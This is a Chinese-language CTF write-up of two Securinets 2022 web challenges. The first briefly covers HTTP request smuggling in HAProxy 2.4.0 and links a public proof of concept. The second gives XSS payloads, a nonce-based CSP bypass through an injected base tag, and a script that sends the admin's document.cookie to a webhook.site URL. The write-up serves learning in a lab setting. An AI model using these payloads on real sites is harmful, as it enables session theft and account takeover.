[Securinets CTF Final 2022]StrUggLe
Welcome to Web! I struggle everyday I face a new website, can you access /flag endpoint ?
Link: http://128.199.3.34:1235
Author: Kahla
以为是http请求走私,没想到是目录扫描(fuzz)
题目不能白做吧?
学习一下http请求走私
一般这种洞可以看X-server或者Server里面对应的服务是否有常见的漏洞版本
像此题是HaProxy-2.4.0
HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理
直接搜cve有(55条消息) HAProxy——http请求走私漏洞(CVE-2021-40346)分析_J0hnson666的博客-CSDN博客_haproxy漏洞
github有复现环境
https://github.com/donky16/CVE-2021-40346-POC
[Securinets CTF Final 2022]XwaSS ftw
发现src可以访问外网ip,且用户可控
在不断的手动测试后发现可以输入单引号逃逸出字符
exp1
/index.php?src=a'onerror='alert(1)
可以构造出符合语法的恶意xss代码
然而不执行,因为发现它设置了csp
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-6QeVywdW3zcfYf';connect-src 'self';style-src 'self';font-src 'self';object-src 'none'">
参考了下面这个
https://cloud.tencent.com/developer/section/1189876
exp2
/index.php?src=/a' ><script nonce="5RfC8pr4zZyD0P">alert(1);</script>
但是本地可以,环境不可以
最后是得到了其他师傅的提醒
img标签下面有一个script里含有nonce的值 有没有一种可能 先拿到下面script里的nonce
然后再执行 总感觉这个script出现的怪怪的 这个想法来自于
https://portswigger.net/research/hunting-nonce-based-csp-bypasses-with-dynamic-analysis
发现base url 标签可控,又注意到下面的js可以加载且使用的是相对路径
所以可以直接改js的base url 为自己恶意构造的
exp3
http://128.199.3.34:1236/index.php?src=/img/mars.jpg' ><base href="//www.viewofthai.link:1234/">
vps上面
echo "window.location.href='https://webhook.site/98ae74a0-5c5c-48f1-bdc2-2e69c4d78ee7/?cookie='+document.cookie;" > bootstrap.js
使用在线平台,再让admin访问就行